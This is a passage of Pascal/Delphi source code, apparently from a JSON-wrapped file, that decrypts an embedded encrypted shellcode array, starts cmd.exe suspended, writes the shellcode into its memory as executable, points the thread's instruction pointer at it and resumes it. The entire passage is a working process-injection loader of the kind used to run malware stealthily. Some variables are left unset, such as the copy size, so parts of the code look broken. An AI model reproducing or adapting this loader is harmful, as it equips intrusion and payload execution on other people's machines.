14,$b3,$39,$a2,$39,$0b,$61,$38,$28,\n$a6,$a3,$91,$d4,$c3,$37,$9e,$b4,$00);\n\nvar\n  pi: TProcessInformation;\n  si: TStartupInfo;\n  {$ifdef win32}\n  ctx: Context;\n  {$endif}\n\n  {$ifdef win64}\n  ctx : Pcontext;\n  {$endif}\n  remote_shellcodePtr: Pointer;\n  {$ifdef win64}\n  Written:dword64;\n  {$endif}\n   {$ifdef win32}\n  Written:dword;\n  {$endif}\n  AppToLaunch: string;\n  i ,s_size: Cardinal;\n  tmp :  array of byte;\n  len: integer;\n\n\nbegin\n\n// get length of shellcode\nlen := length(shellcode);\nwriteln('size of shellcode ', len);\n\n// set array of byte length to match size of shellcode\nsetlength(tmp,len);\n\nwriteln('[+] Decrypting shellcode');\n      for i := 0 to len -1 do begin\n          tmp[i] := crypt(shellcode[i]);  // process of decryption\n       end;\n\nAppToLaunch := 'notepad.exe';\nUniqueString(AppToLaunch);\n\nFillMemory( @si, sizeof( si ), 0 );\nFillMemory( @pi, sizeof( pi ), 0 );\n\nwriteln('[+] Creating Process in Suspended Mode');\n\nCreateProcess('c:\\windows\\system32\\cmd.exe', PChar(AppToLaunch), nil, nil, False,\n              CREATE_SUSPENDED,\n              nil, nil,  si, pi );\n\n\n\n {$ifdef win32}\n ctx.ContextFlags := CONTEXT_CONTROL;\n GetThreadContext(pi.hThread,ctx);\n {$endif}\n\n {$ifdef win64}\n  ctx := PCONTEXT(VirtualAlloc(nil, sizeof(ctx), MEM_COMMIT, PAGE_READWRITE));\n  ctx.ContextFlags := CONTEXT_ALL;\n  GetThreadContext(pi.hThread,ctx^);\n {$endif}\n\n\n //allocate the memory size\n remote_shellcodePtr:=VirtualAllocEx(pi.hProcess,Nil,s_size,MEM_COMMIT,\n   PAGE_EXECUTE_READWRITE);\n\n\n\n\n // decryption section start here\n\n\n\n // write array of bytes into process memory\n WriteProcessMemory(pi.hProcess,remote_shellcodePtr,Tbytearray(tmp),s_size,written);\n\n\n{$ifdef win64}\n ctx.rip:=dword64(remote_shellcodePtr);\n //ctx.ContextFlags := CONTEXT_CONTROL;\n SetThreadContext(pi.hThread,ctx^);\n ResumeThread(pi.hThread);\n{$ENDIF}\n\n{$ifdef win32}\n ctx.Eip:=integer(remote_shellcodePtr);\n ctx.ContextFlags := CONTEXT_CONTROL;\n SetThreadContext(pi.hThread,ctx);\n\n ResumeThread(pi.hThread);\n{$endif}\n\n\n end;\n\n\n\nbegin\n  inject_shell;\n\nend.\n\n"
  }
]